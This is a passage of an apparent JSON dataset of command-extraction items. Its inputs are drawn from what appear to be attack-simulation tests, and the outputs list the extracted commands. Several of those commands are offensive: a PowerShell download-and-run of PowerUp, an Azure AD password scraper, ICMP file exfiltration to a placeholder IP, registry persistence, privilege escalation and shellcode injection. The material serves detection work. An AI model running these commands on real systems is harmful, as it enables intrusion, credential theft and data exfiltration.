instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This operation involves compiling C# source code and running the resulting executable, which can be done with the command: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:#{output_file_name} \"#{input_source_code}\"\n#{output_file_name}\n; For detecting potentially exposed credentials in Azure AD, run the following PowerShell commands that scan all user attributes and output matches to a text file: \nimport-module msonline\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-MsolService -Credential $Credential\n$users = Get-MsolUser -All;\nforeach($user in $users)\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \nforeach($prop in $props)\n{if($user.$prop -like \"*password*\")\n{(\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop) | out-file -filepath $env:temp\\T1552.005Test1.txt -append -force}}}\nget-content -path $env:temp\\T1552.005Test1.txt -erroraction silentlycontinue", "output": "{\"command_list\": [\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe -out:#{output_file_name} \\\"#{input_source_code}\\\"\\n#{output_file_name}\\n\", \"import-module msonline\\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-MsolService -Credential $Credential\\n$users = Get-MsolUser -All;\\nforeach($user in $users)\\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \\nforeach($prop in $props)\\n{if($user.$prop -like \\\"*password*\\\")\\n{(\\\"[*]\\\" + $user.UserPrincipalName + \\\"[\\\" + $prop + \\\"]\\\" + \\\" : \\\" + $user.$prop) | out-file -filepath $env:temp\\\\T1552.005Test1.txt -append -force}}}\\nget-content -path $env:temp\\\\T1552.005Test1.txt -erroraction silentlycontinue\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify the system owner or current user, run the following command in Windows Command Prompt: set file=#{output_file_path}\\user_info_%random%.tmp\necho Username: %USERNAME% > %file%\necho User Domain: %USERDOMAIN% >> %file%\nnet users >> %file%\nquery user >> %file%\n; For executing a DLL with elevated privileges after a system restart, insert the following registry entry via the command: reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ /f\n", "output": "{\"command_list\": [\"set file=#{output_file_path}\\\\user_info_%random%.tmp\\necho Username: %USERNAME% > %file%\\necho User Domain: %USERDOMAIN% >> %file%\\nnet users >> %file%\\nquery user >> %file%\\n\", \"reg add \\\"hklm\\\\system\\\\currentcontrolset\\\\control\\\\print\\\\monitors\\\\AtomicRedTeam\\\" /v \\\"Driver\\\" /d \\\"#{monitor_dll}\\\" /t REG_SZ /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Service Control Manager permissions can be modified to permit administrative users to escalate privileges and create SYSTEM-level services (restart required), using the command: sc.exe sdset scmanager D:(A;;KA;;;WD)\n; The malware leverages PsExec by dropping it in the victim's TEMP directory and running it via this command: cd C:\\Users\\Public\\Temp\\ \n.\\PsExec.exe -i -s cmd -accepteula", "output": "{\"command_list\": [\"sc.exe sdset scmanager D:(A;;KA;;;WD)\\n\", \"cd C:\\\\Users\\\\Public\\\\Temp\\\\ \\n.\\\\PsExec.exe -i -s cmd -accepteula\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To exploit the Unquoted Service Path vulnerability, where a service executable path with spaces isn't quoted, follow these steps by executing the command: copy \"#{service_executable}\" \"C:\\Program Files\\windows_service.exe\"\ncopy \"#{service_executable}\" \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n; The technique of embedding a tarball within an image for data obfuscation is achieved by executing this command: Get-Content \"#{image_file}\", \"#{tar_file}\" -Encoding byte -ReadCount 0 | Set-Content \"#{new_image_file}\" -Encoding byte", "output": "{\"command_list\": [\"copy \\\"#{service_executable}\\\" \\\"C:\\\\Program Files\\\\windows_service.exe\\\"\\ncopy \\\"#{service_executable}\\\" \\\"C:\\\\program.exe\\\"\\nsc create \\\"Example Service\\\" binpath= \\\"C:\\\\Program Files\\\\windows_service.exe\\\" Displayname= \\\"Example Service\\\" start= auto\\nsc start \\\"Example Service\\\"\\n\", \"Get-Content \\\"#{image_file}\\\", \\\"#{tar_file}\\\" -Encoding byte -ReadCount 0 | Set-Content \\\"#{new_image_file}\\\" -Encoding byte\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The test demonstrates how an adversary might use control.exe to execute calc.exe, achieved via the command: control.exe \"#{cpl_file_path}\"; To exfiltrate a specified file over ICMP protocol, use the following PowerShell command which will send the file in chunks via ping: $ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\"#{ip_address}\", 1500, $Data) }", "output": "{\"command_list\": [\"control.exe \\\"#{cpl_file_path}\\\"\\n\", \"$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\\\"#{ip_address}\\\", 1500, $Data) }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n By leveraging RWX sections in PE files, this injection method bypasses detection mechanisms that monitor API calls like VirtualAlloc. To execute the shellcode (which displays a message box and notepad), run the following: $address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"#{vuln_dll}\" $address; To execute shellcode without using suspicious APIs, you can leverage WinAPI's UuidFromStringA and EnumSystemLocalesA, like this: $PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug", "output": "{\"command_list\": [\"$address = (& \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\searchVuln.exe\\\" \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\vuln_dll\\\\\\\" | Out-String | Select-String -Pattern \\\"VirtualAddress: (\\\\w+)\\\").Matches.Groups[1].Value\\n& \\\"PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RWXinjectionLocal.exe\\\" \\\"#{vuln_dll}\\\" $address\\n\", \"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\UuidFromStringA.exe -debug\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The process involves creating a root CA with certutil via the command: certutil -addstore my #{pfx_path}; The test clones a root CA certificate into registry locations such as 